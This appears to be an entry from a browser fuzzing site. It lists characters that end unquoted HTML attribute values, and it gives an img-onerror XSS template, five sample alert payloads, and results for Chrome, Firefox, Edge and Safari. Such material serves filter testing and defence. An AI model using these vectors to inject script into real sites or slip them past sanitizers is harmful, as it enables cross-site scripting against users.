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Characters that end unencapsulated HTML attribute values

Chrome logo 5
Firefox logo 5
Edge logo 5
Safari logo 5

Characters that can be used to end unencapsulated HTML attribute values.

ola456
Created byola456
Created May 14, 2025
Updated May 28, 2025

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CategoryDOM Behavior
VisibilityPublic
TypeXSS
CharsetUTF-8
Template used:
<img src=x$[chr]onerror=log($[i])>

Sample payloads

<img src=x0x09onerror=alert(9)>
<img src=x
onerror=alert(10)>
<img src=x0x0Conerror=alert(12)>
<img src=x0x0Donerror=alert(13)>
<img src=x onerror=alert(32)>

Fuzz results

Chrome logo
Chrome 145.0.0.0 desktop Windows NT 10.0
Updated16 Feb 2026
Found 5 results
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Chrome logo
Chrome 136.0.0.0 desktop macOS 10.15.7older version
Updated14 May 2025
Found 5 results
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Firefox logo
Firefox 148.0 desktop Windows NT 10.0
Updated23 Feb 2026
Found 5 results
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Firefox logo
Firefox 138.0 desktop macOS 10.15older version
Updated14 May 2025
Found 5 results
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Edge logo
Microsoft Edge 145.0.0.0 desktop Windows NT 10.0
Updated18 Feb 2026
Found 5 results
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Safari logo
Safari 18.4 desktop macOS 10.15.7
Updated14 May 2025
Found 5 results
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